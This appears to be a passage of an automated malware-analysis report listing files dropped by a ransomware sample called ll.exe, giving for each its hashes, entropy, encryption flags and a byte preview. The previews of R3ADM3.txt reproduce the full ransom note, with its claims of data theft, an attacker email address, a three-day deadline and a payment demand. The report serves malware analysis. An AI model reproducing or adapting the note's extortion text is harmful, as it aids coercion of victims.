Preview:.q.ymz.....Vzm2...E.T........NB.....X..o .O...W..T..%....^..gS.`z...~g.<......R(t...Q......Q..WzL2..^...o..0.l..n......I.k(6.-.......@Nv....h.`...V...\....PR.Q.x.....k.~...b.4...'...sh..(f.t.6U.r.<..y$L.F.-|...;\...\...I#..(.."U V.L..L+.R.oR)....07#...4.Y.8TxP...O...S9...3.;....J.....m.{ ...!.Y..(.G....J.......,.S."-..HJ...oiVej._.a.7..D..U...W.g.Q...&.0..3iU....i...:~.fJR.?J..T./.......P..D.'.(N..M.......(C.......GK..U.B#.y.M......4!50.F.JD...'.'j.*..]{...S...$A....?.+...-+.....Y.. ... ..p....._.84......@c}.+0_.8.N!.>.gh8....X...Z.....tI..>..J.@2...aF9`' ....@i...0......CM. .Id.e%...."..:...&.).Nr..0...].d.'...........S.J...jdBv>0Z..Ms.o|..":a...V:v...D...,O.q...0P..D....Os].5.%..D.3b`..v....g..W.d....J.....EH..\...G2.8..}..q..q....gQ.{...TL....{|..`......L....!..H..X...aS..C%.*-....N....U.n.......O.....d..@C$.........2......U}.-.'...K .J.T..5Fz.4.F..8jG.G.9.@.1elU.....$...aL.....H.`C9......DX..wk`....b.....m.......'.0 "'f.l..

C:\MSOCache\All Users\{90160000-002C-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6601
Entropy (8bit):7.971571818282002
Encrypted:false
SSDEEP:
MD5:5CECAE7160C6FDE13C0925DAB3735E50
SHA1:25D0D6A3109280FE4D4FA6C070D3A33249924C7B
SHA-256:C7538C4B257482E3AC6306E6018961A4A59CD01B240C36102FCEB574B68CFE9A
SHA-512:3532F797B084D0FC3C6A2BB6454DF74DBBB205DEB4AD3690EDB8A3BD37A8A90920D535EFFBA695CFFEF553DB94393461D67836CB51CCC1D19C1592E0AF3582DF
Malicious:false
Preview:.q.ymz.....Vzm2...E.T........NB.....X..o .O...W..T..%....^..gS.`z...~g.<......R(t...Q......Q..WzL2..^...o..0.l..n......I.k(6.-.......@Nv....h.`...V...\....PR.Q.x.....k.~...b.4...'...sh..(f.t.6U.r.<..y$L.F.-|...;\...\...I#..(.."U V.L..L+.R.oR)....07#...4.Y.8TxP...O...S9...3.;....J.....m.{ ...!.Y..(.G....J.......,.S."-..HJ...oiVej._.a.7..D..U...W.g.Q...&.0..3iU....i...:~.fJR.?J..T./.......P..D.'.(N..M.......(C.......GK..U.B#.y.M......4!50.F.JD...'.'j.*..]{...S...$A....?.+...-+.....Y.. ... ..p....._.84......@c}.+0_.8.N!.>.gh8....X...Z.....tI..>..J.@2...aF9`' ....@i...0......CM. .Id.e%...."..:...&.).Nr..0...].d.'...........S.J...jdBv>0Z..Ms.o|..":a...V:v...D...,O.q...0P..D....Os].5.%..D.3b`..v....g..W.d....J.....EH..\...G2.8..}..q..q....gQ.{...TL....{|..`......L....!..H..X...aS..C%.*-....N....U.n.......O.....d..@C$.........2......U}.-.'...K .J.T..5Fz.4.F..8jG.G.9.@.1elU.....$...aL.....H.`C9......DX..wk`....b.....m.......'.0 "'f.l..

C:\MSOCache\All Users\{90160000-0044-0409-0000-0000000FF1CE}-C\InfLR.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3912184
Entropy (8bit):7.999836747541346
Encrypted:true
SSDEEP:
MD5:107F922011729A2EA63FDB0FCA313981
SHA1:DE63DDA3C0DA70F7076A95CE82CE33235A691988
SHA-256:7BF42F7FE4790977309A16EF9C832ECF9E4AA422FDF9CCCE4EDF4380C6056188
SHA-512:B218229A073347F244D56316D752C80FDD158BB2CE24564761BDE23801E4472881F7D3BA04E2815AC2AA1DCCCC887C3F0FE50CD8A8F8E6B08FA110125A4AE64D
Malicious:true
Preview:e"..".T.G...P..- 0U....p`.H^{..'.&h...Q.d\l..}......`2@w...G...D.....).....$....+..e...p.(4..T.8#........:.1..]3.h......L/...:..k~..>..B.{~.._Lf....W6...)0.'.....U#.lP.y.0..@t.#.%..V...r.....2._9..B.S$.p.....D*f:..p........O...m.h...tM77J.Q...._.b./..U.?....YT....".j1x....|.8s.d..?.h..(..V6.i>...4......4.J.......i0....XG....;...g3... ..J...+.............{._..y.l......rVkf.Gr.#.D'.Hw,Y...1..m.3.,2.%.......,..k-.K..0..#..".%..&72..P.5.hZ.z..s...r;.&C..;...B....NG`..).6. B...s.|)....RM....W.PQ....d.m..9JQG<.....)......H...V.xU.8.`&..bL/WH.1CxD+B'..lR.y..T..?..e!...o..|.n.k..@.B.....:...u.'..?Mq..:...#.Z!.....5.aT.;N.Xx..k.%ZM. .5.. ...2... ........._Y.jl..e@..j.*....b]....|...-......hO.Eq....;s......HO..3.P...Z..........y!...|)....L!..XQ..i.o...Xc..6.Q.di.[n.Y.,.S.1....3...3...O...h...`9..0...c.q.r....c.>.!.....z\..C-.sm...5......%.....+K.ux......tXk[N.cv...b.2....f..'..8.\B.OI.+..$....N....E.....l......+..7e. ..]...1g........:.^.u..#.......

C:\MSOCache\All Users\{90160000-0044-0409-0000-0000000FF1CE}-C\InfLR.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3912184
Entropy (8bit):7.999836747541346
Encrypted:true
SSDEEP:
MD5:107F922011729A2EA63FDB0FCA313981
SHA1:DE63DDA3C0DA70F7076A95CE82CE33235A691988
SHA-256:7BF42F7FE4790977309A16EF9C832ECF9E4AA422FDF9CCCE4EDF4380C6056188
SHA-512:B218229A073347F244D56316D752C80FDD158BB2CE24564761BDE23801E4472881F7D3BA04E2815AC2AA1DCCCC887C3F0FE50CD8A8F8E6B08FA110125A4AE64D
Malicious:true
Preview:e"..".T.G...P..- 0U....p`.H^{..'.&h...Q.d\l..}......`2@w...G...D.....).....$....+..e...p.(4..T.8#........:.1..]3.h......L/...:..k~..>..B.{~.._Lf....W6...)0.'.....U#.lP.y.0..@t.#.%..V...r.....2._9..B.S$.p.....D*f:..p........O...m.h...tM77J.Q...._.b./..U.?....YT....".j1x....|.8s.d..?.h..(..V6.i>...4......4.J.......i0....XG....;...g3... ..J...+.............{._..y.l......rVkf.Gr.#.D'.Hw,Y...1..m.3.,2.%.......,..k-.K..0..#..".%..&72..P.5.hZ.z..s...r;.&C..;...B....NG`..).6. B...s.|)....RM....W.PQ....d.m..9JQG<.....)......H...V.xU.8.`&..bL/WH.1CxD+B'..lR.y..T..?..e!...o..|.n.k..@.B.....:...u.'..?Mq..:...#.Z!.....5.aT.;N.Xx..k.%ZM. .5.. ...2... ........._Y.jl..e@..j.*....b]....|...-......hO.Eq....;s......HO..3.P...Z..........y!...|)....L!..XQ..i.o...Xc..6.Q.di.[n.Y.,.S.1....3...3...O...h...`9..0...c.q.r....c.>.!.....z\..C-.sm...5......%.....+K.ux......tXk[N.cv...b.2....f..'..8.\B.OI.+..$....N....E.....l......+..7e. ..]...1g........:.^.u..#.......

C:\MSOCache\All Users\{90160000-0044-0409-0000-0000000FF1CE}-C\InfoPathMUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1764
Entropy (8bit):7.868275604518784
Encrypted:false
SSDEEP:
MD5:366BD7B64331D37D0D145CFF0A1CEF07
SHA1:189DC1009670CDE4D61499D465DC77CE2C83FEB8
SHA-256:C5FD767E7004ACF19F1E528F89D0C5D87B5DEF03563704B1C68F1DB9BB6E2D5B
SHA-512:5199CE835ED089F8F53B54656370853608E90B0C48EB16B52D18DB700D174FCE0AEF6E8CA3BE8FF4604149675944D10F4919A8F87F9DE5897F3BBDE0AF08FABD
Malicious:false
Preview:......%Z8f89.....&..*E.5..T.*].Pg0VT:."^.........&/..).3..+..../.....#...Z^..z....Eh..1..7.Gu:$r.[...omJ.kE..p..0..^...U?X.....Jg...D7...''.Y..{Imq$....K.&?.9.m(..3.`....bb...'@...ym.KM.,.."....Sq.Y.&.e.`..1$Rc..70....#:.....ZYR.o..S][i@f.....o.Q.G$.j#......P.$.....h2..~...A......N...$G%^h..35...u..KG..Se+..C$&..k.U9yu..d|........;....#.k..L....4......HI...h..G.U.Z.#.].$a...r6...B....y.5.......5.x.g...<..._.A.l....,....o..v...y...%........b..E..8.Z[.....sc..t..z.q..S...5.b.....>X.z...^Q....fW...'L.E4:I..+.s.H*q{.L.......}..pW...!X......bM.._...#N..QLG.D.q..j2.C%..=.._.$h...^yH.F......B..I5.l...........N.a....\.wNo.WRh7M...5..-...FI.^.......l.......z....^..qkZ..K...~.......e1...4J.9.P.Xm.W.^....C..N..@N.........pG.....p~.}...S&./0...>..V+.\...@2.&..'i.7.....w......cz..\...n../B.0B...i.4....TwV..:.x..o.""...:...9...eE..'v.t....fa.)..$C.<{./.*.1.D....c*#).}.r...:....l.lI'.....&...\.V..D.G.4..>M.8..,.x!l.K.!.n.^....@~.lv...m@..d.>y...@-......b..

C:\MSOCache\All Users\{90160000-0044-0409-0000-0000000FF1CE}-C\InfoPathMUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1764
Entropy (8bit):7.868275604518784
Encrypted:false
SSDEEP:
MD5:366BD7B64331D37D0D145CFF0A1CEF07
SHA1:189DC1009670CDE4D61499D465DC77CE2C83FEB8
SHA-256:C5FD767E7004ACF19F1E528F89D0C5D87B5DEF03563704B1C68F1DB9BB6E2D5B
SHA-512:5199CE835ED089F8F53B54656370853608E90B0C48EB16B52D18DB700D174FCE0AEF6E8CA3BE8FF4604149675944D10F4919A8F87F9DE5897F3BBDE0AF08FABD
Malicious:false
Preview:......%Z8f89.....&..*E.5..T.*].Pg0VT:."^.........&/..).3..+..../.....#...Z^..z....Eh..1..7.Gu:$r.[...omJ.kE..p..0..^...U?X.....Jg...D7...''.Y..{Imq$....K.&?.9.m(..3.`....bb...'@...ym.KM.,.."....Sq.Y.&.e.`..1$Rc..70....#:.....ZYR.o..S][i@f.....o.Q.G$.j#......P.$.....h2..~...A......N...$G%^h..35...u..KG..Se+..C$&..k.U9yu..d|........;....#.k..L....4......HI...h..G.U.Z.#.].$a...r6...B....y.5.......5.x.g...<..._.A.l....,....o..v...y...%........b..E..8.Z[.....sc..t..z.q..S...5.b.....>X.z...^Q....fW...'L.E4:I..+.s.H*q{.L.......}..pW...!X......bM.._...#N..QLG.D.q..j2.C%..=.._.$h...^yH.F......B..I5.l...........N.a....\.wNo.WRh7M...5..-...FI.^.......l.......z....^..qkZ..K...~.......e1...4J.9.P.Xm.W.^....C..N..@N.........pG.....p~.}...S&./0...>..V+.\...@2.&..'i.7.....w......cz..\...n../B.0B...i.4....TwV..:.x..o.""...:...9...eE..'v.t....fa.)..$C.<{./.*.1.D....c*#).}.r...:....l.lI'.....&...\.V..D.G.4..>M.8..,.x!l.K.!.n.^....@~.lv...m@..d.>y...@-......b..

C:\MSOCache\All Users\{90160000-0044-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-0044-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2329
Entropy (8bit):7.9181105149468785
Encrypted:false
SSDEEP:
MD5:DFCB0C8FF1B28D112F7457FF28834E5D
SHA1:315262EA7D614F3ECB6D01BD5EEA672B4E49A303
SHA-256:0A64D4554119BC561789C504B7943EB7938A568FBA3CD86DC767FBBFC71CBD2D
SHA-512:4E95F3AEA8FB820B269B671F010387CD7C67B4DA8D331AA0EED31151C945DD59DD0F9F091CB208272564BDD6B230C70FE492B016528783E4A62010C85D47BE11
Malicious:false
Preview:..X.@.v.JF.r.._/.}..z..}........._..0.O.....)F.......TP0.\^1...*....j..f\g...c.j.C....r.....X.^.%....D.fx.....2.....H......Z.iZx...W2.D..Fb..X.;.%=..i.X....^8CN.......[...zO.c/O`).I..qM....Yc,.P...,..4i.O...f.a>.V.p.~...'Sz`.*.Tc..7;X.q).O.....Q?...L..f...=T..s...x:..:...0.}n.n.Q..j/..gs#....q....=.`<c.l..;.....BN.0...N.t.cz.b!..z..|W.X.d.*.....b"..w....>.._X...P.M....c.d5...t./...az...2..H\x'Q+p9....+....(....00...q/....O8IPpF&$siTu3s;}Ht....b..f,..o.6..c..`....Ao.q..s...WH....\..7=-.a.bC..Z_...9.9/.1W.x.9....M...Z.LnM..p......#....:0..;.H..E1.6..4..-....:_..l(.1kt..]k..&;.'..w.|....n...H...~.n*.y..F0....7.i.s...H&.,..M<8..({.u&q.prV.-xt...5.....{..>.e2..hM'.N..~.p...>..d&..h.K...k.sZ.@G3|X.g..h...q.].....t0...=r..]......N.!.}.-..".PE..*$......8g.Y...m.D....LY../N..+..k(...N.9.9.T`......9..8.<.a..j.Sx......v..C.h...L..N....fo3.......a.Ke...;Yy..s.>TD4......7.K.^.K..'sE......]...b...D.....k....J2.._...`... .2.+x.b..=OD.c\.@.@.z.b|.R;`.4._.$.*.

C:\MSOCache\All Users\{90160000-0044-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2329
Entropy (8bit):7.9181105149468785
Encrypted:false
SSDEEP:
MD5:DFCB0C8FF1B28D112F7457FF28834E5D
SHA1:315262EA7D614F3ECB6D01BD5EEA672B4E49A303
SHA-256:0A64D4554119BC561789C504B7943EB7938A568FBA3CD86DC767FBBFC71CBD2D
SHA-512:4E95F3AEA8FB820B269B671F010387CD7C67B4DA8D331AA0EED31151C945DD59DD0F9F091CB208272564BDD6B230C70FE492B016528783E4A62010C85D47BE11
Malicious:false
Preview:..X.@.v.JF.r.._/.}..z..}........._..0.O.....)F.......TP0.\^1...*....j..f\g...c.j.C....r.....X.^.%....D.fx.....2.....H......Z.iZx...W2.D..Fb..X.;.%=..i.X....^8CN.......[...zO.c/O`).I..qM....Yc,.P...,..4i.O...f.a>.V.p.~...'Sz`.*.Tc..7;X.q).O.....Q?...L..f...=T..s...x:..:...0.}n.n.Q..j/..gs#....q....=.`<c.l..;.....BN.0...N.t.cz.b!..z..|W.X.d.*.....b"..w....>.._X...P.M....c.d5...t./...az...2..H\x'Q+p9....+....(....00...q/....O8IPpF&$siTu3s;}Ht....b..f,..o.6..c..`....Ao.q..s...WH....\..7=-.a.bC..Z_...9.9/.1W.x.9....M...Z.LnM..p......#....:0..;.H..E1.6..4..-....:_..l(.1kt..]k..&;.'..w.|....n...H...~.n*.y..F0....7.i.s...H&.,..M<8..({.u&q.prV.-xt...5.....{..>.e2..hM'.N..~.p...>..d&..h.K...k.sZ.@G3|X.g..h...q.].....t0...=r..]......N.!.}.-..".PE..*$......8g.Y...m.D....LY../N..+..k(...N.9.9.T`......9..8.<.a..j.Sx......v..C.h...L..N....fo3.......a.Ke...;Yy..s.>TD4......7.K.^.K..'sE......]...b...D.....k....J2.._...`... .2.+x.b..=OD.c\.@.@.z.b|.R;`.4._.$.*.

C:\MSOCache\All Users\{90160000-0090-0409-0000-0000000FF1CE}-C\DCFMUI.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):642124
Entropy (8bit):7.999658671442192
Encrypted:true
SSDEEP:
MD5:750A3737095024F053DB9D1180CF0BF1
SHA1:9D49EF9C51BC36F2257036914102392321900586
SHA-256:4B10E1BF0B6315085472B33E9B9EFDF393CACC4DCCFD1F666FA6D166D8C99081
SHA-512:FDA9EB34F47008F48C93790201CA5C8A79356136A226EF642C78C969D5381353A30C556A9B0914E2BF97B4490E9CA12BA38AB0E8DE464FCEC0FAE0A6D15E8D42
Malicious:true
Preview:..;.w....4.=95.F.E.{.GZ\X.D....u.qr.....:#....6........Wn.iR.tJ..K..c?...^N.6.....g.M|s..Y...........y....iOQ.%.mN....2?Azb.lV.._.(a..X...CJ.._.......g._u.M.TD<.<.Kr..i..(4.k...{7V,p>.[Zbj6{;..U=....ds.vv\....9.\...".:C.L...gq.1..]M+..H..#...Z.{UA.P...cFPt.1M'U...M........p..Rp.....!...I9&Wy...../.n. 6..f;.....efS.oK...i.t.4...Z.,z.Q....6....uT.y.j&.Y.K..B.....X..C......z...^.G.C$:.M:9..q..&\.....h......e.....G{...+...`.J...O.WeZ<O...........9I^I.Hp..c.`...S..j.......s@..F.?..N+g..,./.`..".B......f.w....`....!...6y. ...x..d.....Q(5..T...VR.I>.....}g..-...*.....e.c._q.9^O....`.7u8.k.Q..:.[..C.9..JC.~...%..-9//@*I....b...*3..*..Lu.1/c.<.QQ..)........r.\.p.j..h..~.&2>(a.&.#..........D..d.X].7..\\..).....R.......o...R.z.(..)..B0K_.<]....D~....!.n..*.?#.....M.[.[......qz..&v..je.......@....F....1...3i.q.j.R....U....5.,.i.4....e0.>bd..*&...>Y.J..Q.. u...>.y.G8.7.-.\3M+..!../.P.fv...O.a.....Yac.k.W@f.L...8%<..|o.IG6..`..H.v..E.{.........\..

C:\MSOCache\All Users\{90160000-0090-0409-0000-0000000FF1CE}-C\DCFMUI.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):642124
Entropy (8bit):7.999658671442192
Encrypted:true
SSDEEP:
MD5:750A3737095024F053DB9D1180CF0BF1
SHA1:9D49EF9C51BC36F2257036914102392321900586
SHA-256:4B10E1BF0B6315085472B33E9B9EFDF393CACC4DCCFD1F666FA6D166D8C99081
SHA-512:FDA9EB34F47008F48C93790201CA5C8A79356136A226EF642C78C969D5381353A30C556A9B0914E2BF97B4490E9CA12BA38AB0E8DE464FCEC0FAE0A6D15E8D42
Malicious:true
Preview:..;.w....4.=95.F.E.{.GZ\X.D....u.qr.....:#....6........Wn.iR.tJ..K..c?...^N.6.....g.M|s..Y...........y....iOQ.%.mN....2?Azb.lV.._.(a..X...CJ.._.......g._u.M.TD<.<.Kr..i..(4.k...{7V,p>.[Zbj6{;..U=....ds.vv\....9.\...".:C.L...gq.1..]M+..H..#...Z.{UA.P...cFPt.1M'U...M........p..Rp.....!...I9&Wy...../.n. 6..f;.....efS.oK...i.t.4...Z.,z.Q....6....uT.y.j&.Y.K..B.....X..C......z...^.G.C$:.M:9..q..&\.....h......e.....G{...+...`.J...O.WeZ<O...........9I^I.Hp..c.`...S..j.......s@..F.?..N+g..,./.`..".B......f.w....`....!...6y. ...x..d.....Q(5..T...VR.I>.....}g..-...*.....e.c._q.9^O....`.7u8.k.Q..:.[..C.9..JC.~...%..-9//@*I....b...*3..*..Lu.1/c.<.QQ..)........r.\.p.j..h..~.&2>(a.&.#..........D..d.X].7..\\..).....R.......o...R.z.(..)..B0K_.<]....D~....!.n..*.?#.....M.[.[......qz..&v..je.......@....F....1...3i.q.j.R....U....5.,.i.4....e0.>bd..*&...>Y.J..Q.. u...>.y.G8.7.-.\3M+..!../.P.fv...O.a.....Yac.k.W@f.L...8%<..|o.IG6..`..H.v..E.{.........\..

C:\MSOCache\All Users\{90160000-0090-0409-0000-0000000FF1CE}-C\DCFMUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1749
Entropy (8bit):7.865372462150396
Encrypted:false
SSDEEP:
MD5:332A955D28624D7B7465F4EA37A3C814
SHA1:7E7CBD25B90ABD47A67CE7E265FFA4D6D011F793
SHA-256:A7E428BEFABD5F4560EC3F3496ABED70014F4C043FF5E5F96220D27180662428
SHA-512:C7030D5054071652EBC146796138EA24B6EFEADA31B8DA1D1814C4289ACEAC32D05917526D64BE91EEA0FD6E8DF6CEAA4D963C12C92A0772D491AFD3EF988D51
Malicious:false
Preview:7.@2.4.C.......S.. ......Wz#..N..uj....O..~../...$...VK.p..e...yX.b?..`..C...(......i.Z)..S-D..6n.p..p....&...d..T...;Js.C...Q.8T......K......3?.....j.6Q.....^...8....^...X..L..7...!Q.'~D.d.V>Z.O........P...{.*c.C..V.Q..Z.[........?. .=^p...:..vu.P.....@.Aa.:..t.9.8BH..a.........}.A.v.#.h..4OH..gm.xq.a.j.+.!..........[....>...e"..S..a......)w..<...v..[<.x.X3...-..z....9..I...qg.jCl......fcQ...z7..b...).V.E. ....v...;X...L.p.P.Q.,Lo$.Y.[ WW.....X.0...@...v..vY..........;..Z[.....7.......M>....X^=.:/..RP.....g.+-*-.,M.9..Atj.D.Z@.K...l....a6N.a.W.......F....2(..Kx.......+-.7.Sf.. ...0._..b..O*...f...... ....>..]x...S...W...O./..#n.f..E...{..=....R..5..& .).......+Q..pS..ne...aLzal..qWv6@.oQw../E<....%.G&|.e..t..Fd./n.....1z......|.{Q.Sa|[,H.W..............i.f:.....x..&.t......*w..5..V0j..2...b..U2..a........Xw.....`..c..H.%........J}U.G..)...nO...Y.'..z.q....-L....Z........u.fi-gV/Ao*..+...9.+L=.....J...E. ..w?.k...)q.=.-.c.....~'+.w...m..L..

C:\MSOCache\All Users\{90160000-0090-0409-0000-0000000FF1CE}-C\DCFMUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1749
Entropy (8bit):7.865372462150396
Encrypted:false
SSDEEP:
MD5:332A955D28624D7B7465F4EA37A3C814
SHA1:7E7CBD25B90ABD47A67CE7E265FFA4D6D011F793
SHA-256:A7E428BEFABD5F4560EC3F3496ABED70014F4C043FF5E5F96220D27180662428
SHA-512:C7030D5054071652EBC146796138EA24B6EFEADA31B8DA1D1814C4289ACEAC32D05917526D64BE91EEA0FD6E8DF6CEAA4D963C12C92A0772D491AFD3EF988D51
Malicious:false
Preview:7.@2.4.C.......S.. ......Wz#..N..uj....O..~../...$...VK.p..e...yX.b?..`..C...(......i.Z)..S-D..6n.p..p....&...d..T...;Js.C...Q.8T......K......3?.....j.6Q.....^...8....^...X..L..7...!Q.'~D.d.V>Z.O........P...{.*c.C..V.Q..Z.[........?. .=^p...:..vu.P.....@.Aa.:..t.9.8BH..a.........}.A.v.#.h..4OH..gm.xq.a.j.+.!..........[....>...e"..S..a......)w..<...v..[<.x.X3...-..z....9..I...qg.jCl......fcQ...z7..b...).V.E. ....v...;X...L.p.P.Q.,Lo$.Y.[ WW.....X.0...@...v..vY..........;..Z[.....7.......M>....X^=.:/..RP.....g.+-*-.,M.9..Atj.D.Z@.K...l....a6N.a.W.......F....2(..Kx.......+-.7.Sf.. ...0._..b..O*...f...... ....>..]x...S...W...O./..#n.f..E...{..=....R..5..& .).......+Q..pS..ne...aLzal..qWv6@.oQw../E<....%.G&|.e..t..Fd./n.....1z......|.{Q.Sa|[,H.W..............i.f:.....x..&.t......*w..5..V0j..2...b..U2..a........Xw.....`..c..H.%........J}U.G..)...nO...Y.'..z.q....-L....Z........u.fi-gV/Ao*..+...9.+L=.....J...E. ..w?.k...)q.=.-.c.....~'+.w...m..L..

C:\MSOCache\All Users\{90160000-0090-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-0090-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2342
Entropy (8bit):7.901406619084725
Encrypted:false
SSDEEP:
MD5:BA6E6BFC213F1D2FAF527CD43531C3E4
SHA1:2B4A2FD02CF8C1BB2FEDBF69B7740212F3E750C1
SHA-256:2A6A15DAD8218B0990794C7C154FF0463F7E23C8F9CFD01EA3316EBB558FBF72
SHA-512:946B1E1CF25923872FE0F781C63FB93BABA259BBAC1549C269DD5FE8F57451C2B693297D82307BD759CE673AE61DCC399D0C370D978B641E0ACA15A97C8C0411
Malicious:false
Preview:*..$../._...w'.....Z ..p.....p+bN..E...Q.;...,.<..f.V..j..s...&L...6[w.....i..m#.....2. .z..W.....k.v........l~R..=.o.Y..CM....5...6.M...... .k....\ .=fBj.> q_.._...Ngv.....Nb..7..a.[q.s.<..L.p......)...=..Z..3..q7...O....P\q..r.Y...Uh.p..\]Hu.?'...L...x.b..k...E.U....c*0.d.........o.|.WV..*.0[<......G?!yX.R...>...J........."(.r.0He..W..........-...0...j.y..~....s.Cs.M.}...U.Pw...Apz.IE.|7........7....P..W.'4.`.86.....S._...Z.eZ\.l?. ..'......P...$..?c......$&=4........C...B.'...`/R..i.W.-.>.P....N\O]....B..3.q.p.9.st..{.LQ.)......gx .f.-.|,$.%jnkz..hWn../..s"......R.3^.......F.+...f/.U..S..M.*k....E{..?5......7.j..N.iO..\U.....O....N.<GR..bm.l........gi..Y../Fs#..b..o2.t.=....^.3mDs..9)cJ...&a.....Z^......5@...~.2.O..4...G......vt[e_....!bF...|=.....{.3.G..._.g.N)...H...p.mCd......}.....&.s......g...#7U.~....m.........b[.U...u.`..1..1..w.....S.+.z..EDmC. 2.4.....].Hx.&.*y~..u....X....%x/7&. ...2..B[.[R_.x.....=..i.q'@......<ZK..

C:\MSOCache\All Users\{90160000-0090-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2342
Entropy (8bit):7.901406619084725
Encrypted:false
SSDEEP:
MD5:BA6E6BFC213F1D2FAF527CD43531C3E4
SHA1:2B4A2FD02CF8C1BB2FEDBF69B7740212F3E750C1
SHA-256:2A6A15DAD8218B0990794C7C154FF0463F7E23C8F9CFD01EA3316EBB558FBF72
SHA-512:946B1E1CF25923872FE0F781C63FB93BABA259BBAC1549C269DD5FE8F57451C2B693297D82307BD759CE673AE61DCC399D0C370D978B641E0ACA15A97C8C0411
Malicious:false
Preview:*..$../._...w'.....Z ..p.....p+bN..E...Q.;...,.<..f.V..j..s...&L...6[w.....i..m#.....2. .z..W.....k.v........l~R..=.o.Y..CM....5...6.M...... .k....\ .=fBj.> q_.._...Ngv.....Nb..7..a.[q.s.<..L.p......)...=..Z..3..q7...O....P\q..r.Y...Uh.p..\]Hu.?'...L...x.b..k...E.U....c*0.d.........o.|.WV..*.0[<......G?!yX.R...>...J........."(.r.0He..W..........-...0...j.y..~....s.Cs.M.}...U.Pw...Apz.IE.|7........7....P..W.'4.`.86.....S._...Z.eZ\.l?. ..'......P...$..?c......$&=4........C...B.'...`/R..i.W.-.>.P....N\O]....B..3.q.p.9.st..{.LQ.)......gx .f.-.|,$.%jnkz..hWn../..s"......R.3^.......F.+...f/.U..S..M.*k....E{..?5......7.j..N.iO..\U.....O....N.<GR..bm.l........gi..Y../Fs#..b..o2.t.=....^.3mDs..9)cJ...&a.....Z^......5@...~.2.O..4...G......vt[e_....!bF...|=.....{.3.G..._.g.N)...H...p.mCd......}.....&.s......g...#7U.~....m.........b[.U...u.`..1..1..w.....S.+.z..EDmC. 2.4.....].Hx.&.*y~..u....X....%x/7&. ...2..B[.[R_.x.....=..i.q'@......<ZK..

C:\MSOCache\All Users\{90160000-00A1-0409-0000-0000000FF1CE}-C\OneNoteMUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2351
Entropy (8bit):7.9010019667958415
Encrypted:false
SSDEEP:
MD5:CEB3EFB51911FC07CB86D9062DF9FDE9
